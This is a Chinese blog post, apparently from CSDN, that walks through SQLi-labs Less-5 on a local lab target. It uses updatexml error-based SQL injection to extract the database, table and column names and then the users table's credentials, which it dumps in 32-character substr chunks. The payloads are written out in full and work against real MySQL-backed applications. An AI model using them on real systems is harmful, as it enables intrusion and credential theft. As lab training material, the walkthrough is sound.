关于报错注入的使用

文章详细描述了如何在sqlilabas第五关中判断并利用字符型注入,包括报错注入的应用,以及如何通过updatexml函数获取数据库名、表名、列名和部分数据,展示了数据截取技术以克服显示限制。
摘要由CSDN通过智能技术生成

sqlibas第五关

目标:http://127.0.0.1/sqlilabas/Less-5/

第一步:

判断是否存在注入,存在什么类型的注入

一、判断注入以及注入类型

(1)当输入id=1的时候产生了回显

继续输入 1 and 1=1   

    1 and 1=2  

1 and 1=2 明显是不成立的,但是还是回显成与输入1的时候一样的回显,由此可得出,数字型注入是没有生效的

(2)继续操作 1' and '1'='1#   页面还是没有变化

输入 1' and '1'='2#  页面发生改变

由此可得出这个目标存在注入,是字符型注入,并且在注入的过程中可以发现,没有其他的什么回显,好像类似布尔盲注一样只有对错或者说点头和摇头,但是布尔盲注操作真的比较麻烦,有没有其他的方法呢,我们试着用报错注入试试

在1后面加上一个引号,发现页面好像把数据库的报错情况打印过来了,说明我们可以使用报错注入

第二步 获取数据库名、表、列、数据

二、获取数据库名

使用常规的union联合查询注入,发现是没有用的,使用盲注比较复杂,而且是有报错提醒的,这个时候,可以采取报错注入

利用updatexml()函数来进行注入

用这个靶场来进行验证在id后面加上注入

id=1' and updatexml(1,concat(0x7e,database()),3)--+

利用报错回显出了这个靶场的数据库,数据库名为 security

三、获取表名

同理也是利用这个方法,修改参数

id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() )),3) 

可以发现提示是有多行的,那么加上limit 0,1

可以发现第一个表出来了,在不断的修改值发现一共有4个表

也可以利用group_concat()函数把多行拼接成一行

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

可以看到,四个表一起回显出来了

三、获取列名

其实我感觉除了多了一些函数,要不然和union联合查询注入差不多了

就单独选择users表,查询他的字段好了,我觉得如果显示不完全,可以利用limit ,显示完全的话就用group_concat(),因为回显是有限制的(32位)

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)--+

四、获取数据

使用之前的方法可以看到,显示的不够完整,而且后面的值都看不到了,之前就说了只能显示32位

id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users)),3)--+

 那么这个时候使用substr()函数来截取,数据内容 ,只能显示32位,那就每次只取32位

substr()函数,一共三个参数,第二个参数的数字代表起始位置,第三个代表步长,直接把步长32固定,每次的起始位置加上32,一直取值可以取到193位

id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(id,username,password) from users),1,32))),3)--+  

括号里面的就是慢慢截取出来的users表中的数据(1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4)

  • 14
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值